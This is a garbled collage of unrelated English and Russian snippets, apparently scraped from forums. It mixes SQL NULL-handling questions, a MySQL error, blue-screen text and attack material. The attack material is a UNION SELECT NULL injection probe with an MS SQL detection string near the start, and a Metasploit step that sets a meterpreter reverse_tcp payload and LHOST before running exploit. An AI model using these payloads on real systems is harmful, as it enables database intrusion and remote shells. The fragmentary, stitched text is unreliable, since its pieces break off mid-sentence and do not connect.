Union select null, null, null, null, null, null, null from information_schema.tables. for a small database containing three tables. this instruction is used in sql injection I tried it and it worked but I didn't really know how it works can somebody help me...
11223344) UNION SELECT NULL,NULL,NULL,NULL WHERE 1=2 –- Если нет ошибки, значит синтаксис верный, т.е. используется MS SQL
Существуют специальные операторы IS NULL и IS NOT NULL, которые позволяют производить сравнения с NULLами.
So the expressions ISNULL(NULL, 1) and COALESCE(NULL, 1) although equivalent have different nullability values. This makes a difference if you are using these expressions in computed columns, creating key constraints or making the return value of a scalar UDF deterministic so that it can be...
Выберите один из них, например всеми любимый meterpreter командой: set PAYLOAD windows/x64/meterpreter/reverse_tcp Командой set LHOST 192.168.0.66 введите IP адрес своей машины, после чего введите exploit. Code
select count(*) from common_po where id between 333415172 and 342717172; ERROR 1317 (70100): Query execution was interrupted.
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SELECT COUNT(*) FROM ( SELECT * FROM table_name WHER.
спасибо за помощь,пока не удается найти сведения об ошибке.переписал инфу с синего экрана,может как то поможет. A problem has been detected and windows has been shut down to prevent damage to your computer.
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